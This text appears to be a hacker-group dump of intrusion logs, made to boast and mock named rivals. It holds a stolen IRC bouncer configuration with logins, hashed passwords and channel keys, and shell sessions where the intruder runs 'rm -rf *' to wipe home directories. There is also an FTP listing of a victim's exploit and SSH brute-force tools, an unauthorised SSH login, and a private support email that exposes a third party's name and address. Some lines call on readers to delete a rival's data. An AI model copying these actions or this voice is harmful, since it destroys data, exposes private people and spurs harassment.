USER3.AOP.ENTRY19=*!*EfNet@*.net.rol.ru;+0G1F1S1&2`272s2o2J
USER3.AOP.ENTRY20=doni038@*;+0G1F1S1&2`272s2o2J
USER3.AOP.ENTRY21=doni038@*;+0G1F1S1&2`222z2m2S
USER3.AOP.ENTRY22=doni038@*;+0G1l1J2d1e2g1J1t2A2I2K
USER3.AOP.ENTRY23=doni038@*;+0G1F1S1&2`272s2o2J
USER3.AOP.ENTRY24= *!*doni038@echo.kirenet.com;+0G1X1Q222d2f2W2I2V2R
USER3.AOP.ENTRY0=*!*doni038@*;+0G1F1S1&2`222z2m2S
USER3.SERVERS.PORT1=6667
USER3.SERVERS.SERVER1=irc.efnet.org
USER4.OP.ENTRY1=*doni038@*;+1E1@1&2e1s1r1U
USER4.OP.ENTRY0=*!*@*;+1E1@1&2e1s1r1U
USER4.ASK.ENTRY0=*!doni038@*;+1E1@1&2e1s1r1U
USER3.OP.ENTRY1=*!*doni038@rose.iinf.polsl.gliwice.pl;+1E1@1&2e1s1r1U
USER3.OP.ENTRY0=*!*doni038@*;+1E1@1&2e1s1r1U
USER3.ASK.ENTRY1=*!doni038@69.72.20.2;+1E1@1&2e1s1r1U
USER3.ASK.ENTRY2=*!doni038@mail.eggdrops.net;+1E1@1&2e1s1r1U
USER3.ASK.ENTRY3=doni038;+0N1J1X2c2c1o1O1J1Z2D2z2U2&2b3i2=3o3S2W3Z3Z3W1K0N1T1N
USER3.ASK.ENTRY4= *!doni038@mail.sacz.okay.pl;+1E1@1&2e1s1r1U
USER3.ASK.ENTRY5=*!*doni038@203.63.163.18;+1E1@1&2e1s1r1U
USER3.ASK.ENTRY6=*!*doni038@trinity.sirion.net.au;+1E1@1&2e1s1r1U
USER3.ASK.ENTRY7=*!*doni038@mail.sacz.okay.pl;+1E1@1&2e1s1r1U
USER3.ASK.ENTRY8=*!*doni038@80.48.124.2;+1E1@1&2e1s1r1U
USER3.ASK.ENTRY9=*!*doni038@80.48.124.2;+1E1@1&2e1s1r1U
USER3.ASK.ENTRY10=*!*doni038@*;+0G1X1Q222d2f2W2I2V2R1X3`3g3p3x2C2@31
USER3.ASK.ENTRY0=*!doni038@caretta.undernet.gr;+1E1@1&2e1s1r1U
USER9.SERVERS.SERVER1=207.162.194.151
USER9.SERVERS.PORT1=6667
USER13.USER.LOGIN=niceboy
USER13.USER.USER=sh2k.!
USER13.USER.PASS==1r1y`0`T001M1q`3`f
USER13.USER.RIGHTS=0
USER13.USER.VLINK=0
USER13.USER.PPORT=0
USER13.USER.PARENT=0
USER13.USER.QUITTED=1
USER13.USER.DCCENABLED=1
USER13.USER.AUTOGETDCC=0
USER13.USER.AIDLE=0
USER13.USER.LEAVEQUIT=0
USER13.USER.AUTOREJOIN=1
USER13.USER.SYSMSG=1
USER13.USER.LASTLOG=0
USER13.USER.CERT=+
USER13.USER.VHOST=208.27.69.190
USER13.USER.AWAY=off
USER13.USER.NICK=turko
USER13.SERVERS.SERVER1=eu.undernet.org
USER13.SERVERS.PORT2=6667
USER13.SERVERS.SERVER2=mesa.az.us.undernet.org
USER13.SERVERS.PORT3=6667
USER13.SERVERS.SERVER3=paris.fr.eu.undernet.org
USER13.SERVERS.PORT4=6667
USER13.SERVERS.SERVER4=miami.fl.us.undernet.org
USER13.SERVERS.PORT1=6667
PSYBNC.SYSTEM.HOST1=*
PSYBNC.SYSTEM.PORT1=30001
USER1.SERVERS.SERVER1=66.225.225.225
USER1.SERVERS.PORT1=6667
USER1.CHANNELS.ENTRY0=#AlbaChat
USER1.CHANNELS.ENTRY1=#Kosova
USER1.CHANNELS.ENTRY2=#albahack
USER1.CHANNELS.ENTRY3=#Prishtina
USER1.CHANNELS.ENTRY5=#EraNet
USER1.CHANNELS.ENTRY6=#Torino
USER1.CHANNELS.ENTRY7=#Net-v2-ork
USER1.CHANNELS.ENTRY8=#rusia
USER1.CHANNELS.KEY8=+1e0$1Y1e2f1&
USER1.CHANNELS.ENTRY4=#shellzone
USER5.USER.LOGIN=UnixIRC
USER5.USER.USER=EraNet
USER5.USER.PASS=='j0b1x`C0b'10R0b00
USER5.USER.RIGHTS=0
USER5.USER.VLINK=0
USER5.USER.PPORT=0
USER5.USER.PARENT=0
USER5.USER.QUITTED=0
USER5.USER.DCCENABLED=1
USER5.USER.AUTOGETDCC=0
USER5.USER.AIDLE=0
USER5.USER.LEAVEQUIT=0
USER5.USER.AUTOREJOIN=1
USER5.USER.SYSMSG=1
USER5.USER.LASTLOG=0
USER5.USER.CERT=+
USER5.USER.AWAY=Gone
USER5.USER.VHOST=lcd.flat-screen.tv
USER5.USER.NICK=UnixIRC
USER6.USER.LOGIN=ircnet
USER6.USER.USER= DoNi038 @ Open Source
USER6.USER.PASS=='X140L'F0U011i03`1
USER6.USER.RIGHTS=0
USER6.USER.VLINK=0
USER6.USER.PPORT=0
USER6.USER.PARENT=0
USER6.USER.QUITTED=0
USER6.USER.DCCENABLED=1
USER6.USER.AUTOGETDCC=0
USER6.USER.AIDLE=0
USER6.USER.LEAVEQUIT=0
USER6.USER.AUTOREJOIN=1
USER6.USER.SYSMSG=1
USER6.USER.LASTLOG=0
USER6.USER.CERT=+
USER6.USER.AWAYNICK=DoNi038
USER6.USER.NICK=ircnet
USER6.SERVERS.SERVER1=irc.ircnet.org
USER6.SERVERS.PORT2=6667
USER6.SERVERS.SERVER2=us.ircnet.org
USER6.SERVERS.PORT1=6667
USER6.CHANNELS.ENTRY0=#shkupi
USER6.CHANNELS.KEY0=+1L1'1$1h2i20
USER6.CHANNELS.ENTRY1=#kosova
USER6.CHANNELS.KEY1=+1L1'1$1h2i20
USER6.CHANNELS.ENTRY2=#albahack
USER6.CHANNELS.KEY2=+1L1'1$1h2i20
USER6.CHANNELS.ENTRY4=#prishtina
USER6.CHANNELS.KEY4=+1L1'1$1h2i20
USER6.CHANNELS.ENTRY3=#albachat
USER6.CHANNELS.KEY3=+1e0$1Y1e2f1&
USER6.CHANNELS.KEY5=+1T1U1S2l1u2s
USER6.CHANNELS.ENTRY5=#kosovo
USER7.USER.LOGIN=dardania
USER7.USER.USER= DoNi038 0wNz
USER7.USER.PASS=='X140L'F0U011i03`1
USER7.USER.RIGHTS=0
USER7.USER.VLINK=0
USER7.USER.PPORT=0
USER7.USER.PARENT=0
USER7.USER.QUITTED=0
USER7.USER.DCCENABLED=1
USER7.USER.AUTOGETDCC=0
USER7.USER.AIDLE=0
USER7.USER.LEAVEQUIT=0
USER7.USER.AUTOREJOIN=1
USER7.USER.SYSMSG=1
USER7.USER.LASTLOG=0
USER7.USER.CERT=+
USER7.USER.VHOST=ppp178.dyn.nu
USER7.USER.NICK=DoNi038
USER7.SERVERS.SERVER1=irc.knaqu.com
USER7.SERVERS.PORT1=6667
USER7.CHANNELS.ENTRY0=#dardania
USER7.CHANNELS.ENTRY1=#prishtina
USER5.CHANNELS.ENTRY0=#CCpower
USER9.CHANNELS.ENTRY1=#shkupi
USER9.CHANNELS.KEY1=+1L1'1$1h2i20
USER9.CHANNELS.KEY0=+1L1'1$1h2i20
USER9.CHANNELS.ENTRY2=#albachat
USER9.CHANNELS.KEY2=+1e0$1Y1e2f1&
USER9.CHANNELS.ENTRY3=#kosovo
USER9.CHANNELS.KEY3=+1T1U1S2l1u2s
USER9.CHANNELS.ENTRY4=#albahack
USER9.CHANNELS.KEY4=+1L1'1$1h2i20
USER9.CHANNELS.ENTRY5=#Prishtina
USER9.CHANNELS.KEY5=+1L1'1$1h2i20
USER9.CHANNELS.ENTRY0=#Kosova
USER6.BAN.ENTRY1=*!decky@*server4you.de;You are On my shit list LAMER !
USER6.BAN.ENTRY2=*!decky@*.de;You are On my shit list LAMER !
USER6.BAN.ENTRY3=*!ircnet@*.de;You are On my shit list LAMER !
USER6.BAN.ENTRY0=*!ircnet@*server4you.de;You are On my shit list LAMER !
USER6.AOP.ENTRY1=*!*doni038@DoNi038.is.gunna.attack.org.uk;+0G1U1@272l2d2S2D2V2N
USER6.AOP.ENTRY2=*!*doni038@DoNi038.is.gunna.attack.org.uk;+0G1F1S1&2`272s2o2J
USER6.AOP.ENTRY3=*!*doni038@DoNi038.is.gunna.attack.org.uk;+0G1F1S1&2`222z2m2S
USER6.AOP.ENTRY4=*!*doni038@DoNi038.is.gunna.attack.org.uk;+0G1X1Q282m2k2H
USER6.AOP.ENTRY0=*!*doni038@DoNi038.is.gunna.attack.org.uk;+0G1P1W2g2h2r2A
USER6.OP.ENTRY1=*!*doni038@DoNi038.is.gunna.attack.org.uk;+1E1@1&2e1s1r1U
USER6.OP.ENTRY0=*!*doni038@DoNi038.is.gunna.attack.org.uk;+1E1@1&2e1s1r1U
USER6.ASK.ENTRY1=*!*doni038@DoNi038.is.gunna.attack.org.uk;+1E1@1&2e1s1r1U
USER6.ASK.ENTRY0=*!*doni038@DoNi038.is.gunna.attack.org.uk;+1E1@1&2e1s1r1U
USER11.USER.LOGIN=kosovairc
USER11.USER.USER= DoNi038 0wnZ
USER11.USER.PASS=='X140L'F0U011i03`1
USER11.USER.RIGHTS=0
USER11.USER.VLINK=0
USER11.USER.PPORT=0
USER11.USER.PARENT=0
USER11.USER.QUITTED=0
USER11.USER.DCCENABLED=1
USER11.USER.AUTOGETDCC=0
USER11.USER.AIDLE=0
USER11.USER.LEAVEQUIT=0
USER11.USER.AUTOREJOIN=1
USER11.USER.SYSMSG=1
USER11.USER.LASTLOG=0
USER11.USER.CERT=+
USER11.USER.VHOST=totally.eleet.com
USER11.USER.AWAYNICK=DoNi038
USER11.USER.AWAY=Out 4 The Day.....
USER11.USER.NICK=DoNi038
USER11.SERVERS.SERVER1=irc.ilirida.ch
USER11.SERVERS.PORT1=6667
USER11.CHANNELS.ENTRY1=#ndihme
USER11.CHANNELS.ENTRY0=#Ops
USER11.CHANNELS.ENTRY2=#ilirida
USER5.SERVERS.SERVER1=66.90.121.8
USER5.SERVERS.PORT1=6667
USER8.USER.LOGIN=mHz
USER8.USER.USER=mHz
USER8.USER.PASS==0P'$0N0I0S`x00'V1t
USER8.USER.RIGHTS=0
USER8.USER.VLINK=0
USER8.USER.PPORT=0
USER8.USER.PARENT=0
USER8.USER.QUITTED=1
USER8.USER.DCCENABLED=1
USER8.USER.AUTOGETDCC=0
USER8.USER.AIDLE=0
USER8.USER.LEAVEQUIT=0
USER8.USER.AUTOREJOIN=1
USER8.USER.SYSMSG=1
USER8.USER.LASTLOG=0
USER8.USER.CERT=+
USER8.USER.VHOST=dislikes.scool.org
USER8.USER.AWAY=gone
USER8.USER.AWAYNICK=BlackHat
USER8.USER.NICK=BlackHats
USER8.SERVERS.SERVER1=irc.unixirc.net
USER8.SERVERS.PORT1=6667
USER12.USER.LOGIN=unix
USER12.USER.USER= DoNi038 0wnZ
USER12.USER.PASS=='X140L'F0U011i03`1
USER12.USER.RIGHTS=0
USER12.USER.VLINK=0
USER12.USER.PPORT=0
USER12.USER.PARENT=0
USER12.USER.QUITTED=0
USER12.USER.DCCENABLED=1
USER12.USER.AUTOGETDCC=0
USER12.USER.AIDLE=0
USER12.USER.LEAVEQUIT=0
USER12.USER.AUTOREJOIN=1
USER12.USER.SYSMSG=1
USER12.USER.LASTLOG=0
USER12.USER.CERT=+
USER12.USER.VHOST=totally.eleet.com
USER12.USER.AWAYNICK=DoNi038
USER12.USER.AWAY=G O N E . . .
USER12.USER.NICK=unix
USER12.SERVERS.SERVER1=irc.unixirc.net
USER12.SERVERS.PORT1=6667
USER12.CHANNELS.ENTRY1=#prishtina
USER12.CHANNELS.ENTRY2=#ccpower
USER12.CHANNELS.ENTRY3=#westernunion
USER12.CHANNELS.ENTRY0=#kosova
[doni038@echo:~/psybnc] uname -a
Linux echo 2.2.25 #2 SMP Mon Oct 6 22:29:32 EDT 2003 i686 unknown
[doni038@echo:~/psybnc] cd logs
[doni038@echo:~/psybnc/log] cat USER*.LOG|tail -8
~Tue Jan 18 07:18:48 :(arTanibb!Info@ibrahim.rogova.po.bon.diskutime.de) /join #albachat K0s0va
~Sun Jan 23 22:36:26 :(duga_bx!duga_bx@Knaqu-14D2486E.dyn.optonline.net) hej prishtina
~Sun Jan 23 22:36:31 :(duga_bx!duga_bx@Knaqu-14D2486E.dyn.optonline.net) sije
~Sun Jan 23 22:36:47 :(duga_bx!duga_bx@Knaqu-14D2486E.dyn.optonline.net) sikalove diten
~Sun Jan 23 22:36:57 :(duga_bx!duga_bx@Knaqu-14D2486E.dyn.optonline.net) fol more
~Sun Jan 23 22:37:03 :(duga_bx!duga_bx@Knaqu-14D2486E.dyn.optonline.net) sje ne mud
~Wed Jan 12 17:57:25 :(sara!~GTm-Crew@fbb8a3c.2c5db252.1366b407.1e624c7dX) hi
~Mon Jan 24 16:50:14 :(DoNi038!doni038@echo.kirenet.com) ./join #kosovo shcr3w
[doni038@echo:~/psybnc/log] cd ..
[doni038@echo:~/psybnc] cd ..
[doni038@echo:~] rm -rf *
[doni038@echo:~] rm -rf .*
rm: cannot remove `.' or `..'
rm: cannot remove `.' or `..'
[doni038@echo:~] exit
logout
Connection to echo.kirenet.com closed.
doni038@matrix:~$ passwd
Changing local password for doni038.
Old password:
New password:
Retype new password:
passwd: updating the database...
passwd: done
doni038@matrix:~$ rm -rf *
doni038@matrix:~$ rm -rf .*
rm: "." and ".." may not be removed
doni038@matrix:~$ exit
logout
Connection to matrix.sh3lls.net closed.
17.txt-~-~-~ piss poor tal0n
poor tal0n. poor poor tal0n.
bash-2.05b$ ftp tal0n.hbx.us
Connected to tal0n.hbx.us.
220 host177 FTP server ready
Name (tal0n.hbx.us:root): hbxusaaa
331 Password required for hbxusaaa.
Password:
230 User hbxusaaa logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
150 Opening ASCII mode data connection for file list
drwxr-xr-x 6 hbxusaaa hbxusaaa512 Feb 6 02:03 .
drwxr-xr-x 6 hbxusaaa hbxusaaa512 Feb 6 02:03 ..
drwxr-xr-x 7 hbxusaaa hbxusaaa512 Apr 26 2004 .panel
-rw-r--r-- 1 hbxusaaa hbxusaaa 35171211 Feb 6 02:18 AVATAR.tar.gz
drwx------ 5 hbxusaaa hbxusaaa512 Jan 19 12:02 public_ftp
drwxr-xr-x 13 hbxusaaa hbxusaaa512 Feb 15 00:05 public_html
drwxr-xr-x 2 hbxusaaa hbxusaaa512 Jan 21 15:22 round2
226 Transfer complete.
ftp> cd public_html
250 CWD command successful.
ftp> cd tal0n
250 CWD command successful.
ftp> ls -al
150 Opening ASCII mode data connection for file list
drwxr-xr-x 3 hbxusaaa hbxusaaa 512 Feb 13 15:41 .
drwxr-xr-x 13 hbxusaaa hbxusaaa 512 Feb 15 00:05 ..
-rw-r--r-- 1 hbxusaaa hbxusaaa 3735 Feb 9 15:49 story-of-gotfault.txt
-rw-r--r-- 1 hbxusaaa hbxusaaa 623971 Feb 1 09:31 tal0n-desktop.png
-rw-r--r-- 1 hbxusaaa hbxusaaa 623418 Feb 11 09:49 tal0n-desktop2.png
drwxr-xr-x 4 hbxusaaa hbxusaaa 2560 Feb 12 10:44 tmp
-rw-r--r-- 1 hbxusaaa hbxusaaa 114475 Feb 13 15:41 win-desktop.JPG
226 Transfer complete.
ftp> cd tmp
250 CWD command successful.
ftp> ls -al
150 Opening ASCII mode data connection for file list
drwxr-xr-x 4 hbxusaaa hbxusaaa 2560 Feb 12 10:44 .
drwxr-xr-x 3 hbxusaaa hbxusaaa 512 Feb 13 15:41 ..
-rw-r--r-- 1 hbxusaaa hbxusaaa 80084 Oct 20 12:48 0W-httpd-0.7i.tar.gz
-rw-r--r-- 1 hbxusaaa hbxusaaa 86047 Dec 14 05:52 abilitywebserver.zip
-rw-r--r-- 1 hbxusaaa hbxusaaa 13805 Dec 3 23:56 apache-nj.c
-rw-r--r-- 1 hbxusaaa hbxusaaa 2468567 Dec 11 12:49 apache_1.3.33.tar.gz
-rw-r--r-- 1 hbxusaaa hbxusaaa 25401 Jan 8 10:02 binfmt
-rw-r--r-- 1 hbxusaaa hbxusaaa 2958009 Dec 20 21:30 bl4ck1t.tar.gz
-rw-r--r-- 1 hbxusaaa hbxusaaa 466807 Aug 31 12:36 brk
-rw-r--r-- 1 hbxusaaa hbxusaaa 14171 Sep 2 17:33 c
-rw-r--r-- 1 hbxusaaa hbxusaaa 13311 Dec 25 21:37 chown
-rw-r--r-- 1 hbxusaaa hbxusaaa 869437 Sep 15 14:39 dropbear-0.34.tar.gz
-rw-r--r-- 1 hbxusaaa hbxusaaa 1851755 Sep 24 03:10 elinks-0.9.1.tar.bz2
-rw-r--r-- 1 hbxusaaa hbxusaaa 1894301 Oct 4 03:08 elinks.tar.bz2
-rw-r--r-- 1 hbxusaaa hbxusaaa 921 Sep 17 20:53 exploit.c
-rw-r--r-- 1 hbxusaaa hbxusaaa 4955 Jan 6 03:27 flow-psoproxy.c
-rw-r--r-- 1 hbxusaaa hbxusaaa 2251648 Jan 1 23:06 gdb
-rw-r--r-- 1 hbxusaaa hbxusaaa 10778 Sep 5 08:31 gnu
-rw-r--r-- 1 hbxusaaa hbxusaaa 4941 Jan 31 03:26 gotfault-ngircd.c
-rw-r--r-- 1 hbxusaaa hbxusaaa 14110 Jan 29 07:57 gotfault.log
-rw-r--r-- 1 hbxusaaa hbxusaaa 12014 Sep 14 10:11 hide
-rw-r--r-- 1 hbxusaaa hbxusaaa 1 Aug 26 09:39 index.html
-rw-r--r-- 1 hbxusaaa hbxusaaa 432597 Sep 13 11:51 jtr.tar.gz
-rw-r--r-- 1 hbxusaaa hbxusaaa 502180 Sep 14 10:48 kit.tar.gz
-rw-r--r-- 1 hbxusaaa hbxusaaa 110242 Jan 17 16:39 lcdproc
-rw-r--r-- 1 hbxusaaa hbxusaaa 208654 Jan 17 15:16 lcdproc-0.4.1.tar.gz
-rw-r--r-- 1 hbxusaaa hbxusaaa 704 Sep 27 17:59 ldt.h
-rw-r--r-- 1 hbxusaaa hbxusaaa 122663 Sep 7 18:48 libssh-0.1.tgz
-rw-r--r-- 1 hbxusaaa hbxusaaa 529476 Aug 29 09:48 libssh.so
-rw-r--r-- 1 hbxusaaa hbxusaaa 8664 Dec 5 10:17 libssh.tar.gz
-rw-r--r-- 1 hbxusaaa hbxusaaa 730400 Dec 9 12:25 libstdc++.so
-rw-r--r-- 1 hbxusaaa hbxusaaa 1119661 Feb 12 10:45 lord.tgz
-rw-r--r-- 1 hbxusaaa hbxusaaa 2984352 Sep 24 03:09 lynx2.8.5.tar.gz
-rw-r--r-- 1 hbxusaaa hbxusaaa 466606 Sep 1 15:26 map
-rw-r--r-- 1 hbxusaaa hbxusaaa 73735 Sep 6 06:39 mit.full
-rw-r--r-- 1 hbxusaaa hbxusaaa 914302 Sep 23 19:29 nano-1.2.4.tar.gz
-rw-r--r-- 1 hbxusaaa hbxusaaa 2154022 Oct 4 03:06 ncurses.tar.gz
-rw-r--r-- 1 hbxusaaa hbxusaaa 385653 Dec 4 21:35 nmap.tar.gz
-rw-r--r-- 1 hbxusaaa hbxusaaa 854027 Jan 3 16:52 openssh-3.9p1.tar.gz
-rw-r--r-- 1 hbxusaaa hbxusaaa 3043231 Jan 3 16:52 openssl-0.9.7e.tar.gz
-rw-r--r-- 1 hbxusaaa hbxusaaa 14567 Feb 7 17:24 perl
-rw-r--r-- 1 hbxusaaa hbxusaaa 1520 Dec 19 22:41 phpbb.php
-rw-r--r-- 1 hbxusaaa hbxusaaa 79773 Dec 5 15:48 proftpd
-rw-r--r-- 1 hbxusaaa hbxusaaa 8704 Sep 11 07:42 ptrace
-rw-r--r-- 1 hbxusaaa hbxusaaa 13003205 Jan 5 19:41 range.tar.gz
-rw-r--r-- 1 hbxusaaa hbxusaaa 2151278 Jan 1 16:53 range2.tar.gz
-rw-r--r-- 1 hbxusaaa hbxusaaa 1455280 Jan 3 19:55 range3.tar.gz
-rw-r--r-- 1 hbxusaaa hbxusaaa 8913 Oct 11 17:20 reflux.jpg
-rw-r--r-- 1 hbxusaaa hbxusaaa 25241 Nov 20 16:50 rpc
drwxr-xr-x 2 hbxusaaa hbxusaaa 512 Jan 5 12:45 sb
-rw-r--r-- 1 hbxusaaa hbxusaaa 4576616 Sep 14 11:07 scan.tar.gz
-rw-r--r-- 1 hbxusaaa hbxusaaa 1356543 Sep 15 17:33 sendmail.8.11.4.tar.gz
-rw-r--r-- 1 hbxusaaa hbxusaaa 4264 Sep 16 19:04 sendmail2.c
-rw-r--r-- 1 hbxusaaa hbxusaaa 5233 Jan 29 07:57 setnf.log
-rw-r--r-- 1 hbxusaaa hbxusaaa 151904 Jan 1 18:44 shoutcast-1-9-4-freebsd4-
-rw-r--r-- 1 hbxusaaa hbxusaaa 168642 Jan 1 22:30 shoutcast-1-9-4-macosx.ta
-rw-r--r-- 1 hbxusaaa hbxusaaa 662310 Dec 5 05:42 shv5.tar.gz
-rw-r--r-- 1 hbxusaaa hbxusaaa 44696 Feb 11 18:55 sing
-rw-r--r-- 1 hbxusaaa hbxusaaa 13328 Sep 16 14:54 sm
-rw-r--r-- 1 hbxusaaa hbxusaaa 16598 Sep 5 05:14 sniff
-rw-r--r-- 1 hbxusaaa hbxusaaa 6277830 Feb 8 12:30 softice.zip
-rw-r--r-- 1 hbxusaaa hbxusaaa 65574 Sep 5 07:40 solkern.zip
-rw-r--r-- 1 hbxusaaa hbxusaaa 565824 Aug 29 09:52 ss
-rw-r--r-- 1 hbxusaaa hbxusaaa 0 Dec 14 05:52 ss.JPG
-rw-r--r-- 1 hbxusaaa hbxusaaa 663728 Sep 9 12:44 ssh.tar.gz
-rw-r--r-- 1 hbxusaaa hbxusaaa 551 Sep 7 15:39 sshall
-rw-r--r-- 1 hbxusaaa hbxusaaa 18276 Sep 4 14:27 sshbrute
-rw-r--r-- 1 hbxusaaa hbxusaaa 669092 Dec 5 15:57 sshbrute.tar.gz
-rw-r--r-- 1 hbxusaaa hbxusaaa 17253 Sep 5 10:48 sshbrute1
-rw-r--r-- 1 hbxusaaa hbxusaaa 17265 Sep 6 07:39 sshbrute10
-rw-r--r-- 1 hbxusaaa hbxusaaa 17233 Sep 7 13:42 sshbrute11
-rw-r--r-- 1 hbxusaaa hbxusaaa 17233 Sep 7 13:47 sshbrute12
-rw-r--r-- 1 hbxusaaa hbxusaaa 17233 Sep 7 13:55 sshbrute13
-rw-r--r-- 1 hbxusaaa hbxusaaa 17329 Sep 7 13:59 sshbrute14
-rw-r--r-- 1 hbxusaaa hbxusaaa 17265 Sep 7 14:05 sshbrute15
-rw-r--r-- 1 hbxusaaa hbxusaaa 17233 Sep 7 15:02 sshbrute16
-rw-r--r-- 1 hbxusaaa hbxusaaa 17233 Sep 7 15:02 sshbrute17
-rw-r--r-- 1 hbxusaaa hbxusaaa 17233 Sep 7 15:02 sshbrute18
-rw-r--r-- 1 hbxusaaa hbxusaaa 17265 Sep 7 15:02 sshbrute19
-rw-r--r-- 1 hbxusaaa hbxusaaa 17253 Sep 5 10:57 sshbrute2
-rw-r--r-- 1 hbxusaaa hbxusaaa 17233 Sep 7 15:02 sshbrute20
-rw-r--r-- 1 hbxusaaa hbxusaaa 17233 Sep 9 14:13 sshbrute21
-rw-r--r-- 1 hbxusaaa hbxusaaa 17265 Sep 9 14:17 sshbrute22
-rw-r--r-- 1 hbxusaaa hbxusaaa 17265 Sep 9 14:52 sshbrute23
-rw-r--r-- 1 hbxusaaa hbxusaaa 17233 Sep 9 14:57 sshbrute24
-rw-r--r-- 1 hbxusaaa hbxusaaa 17265 Sep 9 15:09 sshbrute25
-rw-r--r-- 1 hbxusaaa hbxusaaa 17233 Sep 11 10:59 sshbrute26
-rw-r--r-- 1 hbxusaaa hbxusaaa 17265 Sep 11 10:59 sshbrute27
-rw-r--r-- 1 hbxusaaa hbxusaaa 17265 Sep 11 10:59 sshbrute28
-rw-r--r-- 1 hbxusaaa hbxusaaa 17361 Sep 11 10:59 sshbrute29
-rw-r--r-- 1 hbxusaaa hbxusaaa 17253 Sep 5 11:02 sshbrute3
-rw-r--r-- 1 hbxusaaa hbxusaaa 17361 Sep 11 10:59 sshbrute30
-rw-r--r-- 1 hbxusaaa hbxusaaa 17253 Sep 5 11:08 sshbrute4
-rw-r--r-- 1 hbxusaaa hbxusaaa 17253 Sep 5 11:16 sshbrute5
-rw-r--r-- 1 hbxusaaa hbxusaaa 17264 Sep 6 07:05 sshbrute6
-rw-r--r-- 1 hbxusaaa hbxusaaa 17392 Sep 6 07:20 sshbrute7
-rw-r--r-- 1 hbxusaaa hbxusaaa 17360 Sep 6 07:27 sshbrute8
-rw-r--r-- 1 hbxusaaa hbxusaaa 17264 Sep 6 07:33 sshbrute9
-rw-r--r-- 1 hbxusaaa hbxusaaa 17542 Dec 20 08:03 sshbrutex
-rw-r--r-- 1 hbxusaaa hbxusaaa 17544 Dec 20 14:03 sshbrutex2
-rw-r--r-- 1 hbxusaaa hbxusaaa 15912 Sep 17 20:44 touch
-rw-r--r-- 1 hbxusaaa hbxusaaa 4968 Dec 14 05:11 un-aftp.c
-rw-r--r-- 1 hbxusaaa hbxusaaa 56320 Dec 15 05:01 un-aftpd.exe
-rw-r--r-- 1 hbxusaaa hbxusaaa 14291 Dec 3 23:55 unreal.c
-rw-r--r-- 1 hbxusaaa hbxusaaa 10701 Sep 17 20:53 vuln
-rw-r--r-- 1 hbxusaaa hbxusaaa 938053 Feb 8 12:33 w32dasm.zip
-rw-r--r-- 1 hbxusaaa hbxusaaa 1322378 Sep 24 03:06 wget-1.9.1.tar.gz
-rw-r--r-- 1 hbxusaaa hbxusaaa 74632 Oct 3 18:06 www-100304.tar.gz
-rw-r--r-- 1 hbxusaaa hbxusaaa 56363 Oct 5 15:55 www.tar.gz
drwxr-xr-x 2 hbxusaaa hbxusaaa 512 Dec 5 10:21 xsshbrute
-rw-r--r-- 1 hbxusaaa hbxusaaa 345833 Jan 3 16:50 zlib-1.2.1.tar.gz
226 Transfer complete.
ftp> cd xsshbrute
250 CWD command successful.
ftp> ls -al
150 Opening ASCII mode data connection for file list
drwxr-xr-x 2 hbxusaaa hbxusaaa 512 Dec 5 10:21 .
drwxr-xr-x 4 hbxusaaa hbxusaaa 2560 Feb 12 10:44 ..
-rw-r--r-- 1 hbxusaaa hbxusaaa 18216 Dec 5 10:20 sshbrute1
-rw-r--r-- 1 hbxusaaa hbxusaaa 18408 Dec 5 10:21 sshbrute2
-rw-r--r-- 1 hbxusaaa hbxusaaa 18248 Dec 5 10:21 sshbrute3
226 Transfer complete.
ftp> cd ..
250 CWD command successful.
ftp> cd sb
250 CWD command successful.
ftp> ls -la
150 Opening ASCII mode data connection for file list
drwxr-xr-x 2 hbxusaaa hbxusaaa 512 Jan 5 12:45 .
drwxr-xr-x 4 hbxusaaa hbxusaaa 2560 Feb 12 10:44 ..
-rw-r--r-- 1 hbxusaaa hbxusaaa 18375 Jan 5 12:45 sshbrute
226 Transfer complete.
ftp> cd ..
250 CWD command successful.
ftp> cd ..
250 CWD command successful.
ftp> cd ..
250 CWD command successful.
ftp> ls -al
150 Opening ASCII mode data connection for file list
drwxr-xr-x 13 hbxusaaa hbxusaaa 512 Feb 15 00:05 .
drwxr-xr-x 6 hbxusaaa hbxusaaa 512 Feb 6 02:03 ..
drwxr-xr-x 2 hbxusaaa hbxusaaa 512 Jan 11 23:37 free_hacking_shells
drwxr-xr-x 2 hbxusaaa hbxusaaa 512 Jan 13 11:11 gmail_bug_hack
drwxr-xr-x 2 hbxusaaa hbxusaaa 1024 Jan 13 11:50 hr
drwxr-xr-x 2 hbxusaaa hbxusaaa 512 Jan 15 14:34 lamerjoe
drwxr-xr-x 4 hbxusaaa hbxusaaa 512 Jan 16 13:29 members
drwxr-xr-x 2 hbxusaaa hbxusaaa 512 Feb 15 00:05 ne0
drwxr-xr-x 5 hbxusaaa hbxusaaa 512 Feb 14 12:47 nine7six
drwxr-xr-x 6 hbxusaaa hbxusaaa 512 Feb 14 18:12 sin
drwxr-xr-x 3 hbxusaaa hbxusaaa 512 Feb 13 15:41 tal0n
drwxr-xr-x 2 hbxusaaa hbxusaaa 512 Jan 18 19:13 tmp
drwxr-xr-x 3 hbxusaaa hbxusaaa 512 Feb 7 20:26 wired
226 Transfer complete.
Tal0n's got some sshbruting behind his belt. Learn how to hack you no talent
peice of shit.
This just in. tal0n's hilmiliation has reached new hieghts, after numerous
ownings and exploit trades gone bad he young lackey vanished into hiding.
Sources report that he is hanging around 0x333 with the handle: skew. rm
him at will.
18.txt-~-~-~ Mr. pd meet Mr. rm
h0no, proud supporterz of the lame and weak irc whorez. pd likes to spam, we like to rm.
Date: Sun, 23 May 2004 10:46:19 -0700 (PDT)
From: "zack sanchez" <rottenboy187@yahoo.com> Add to Address Book
Subject: Re: Bangme.Net - HELP REQUEST from rottenboy
To: no_replies_please@bangme.net
no it i snot possible i dont use anyone elses computer.
i think it was my ex girlfriend, what may have happened is this email was also taken over i think everything is being fixed.
But i am looking into pressing charge so if you can provide any information ip address login etc i would appreciate it..
no_replies_please@bangme.net wrote:
Hello rottenboy-
we are investigating.. is it possible you saved your login information on someone else's computer?
thank you..
bangme.net
your request:
someone is taking over my account changing my photo's and giving ppl i gave yes's too no's ive changed my password over and over and it still isnt stopping please help i dont want to have to delete my account after paying for it.
[rootatyourbox@localhost] # ssh pd@216.32.74.234
The authenticity of host '216.32.74.234 (216.32.74.234)' can't be established.
RSA key fingerprint is a8:fc:c1:fe:df:54:5c:d3:98:b6:2c:0f:6d:a8:eb:e4.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '216.32.74.234' (RSA) to the list of known hosts.
pd@216.32.74.234's password:
Could not chdir to home directory /home/pd: No such file or directory
-bash-2.05b$ id
uid=504(pd) gid=504(pd) groups=504(pd)
-bash-2.05b$ cd home
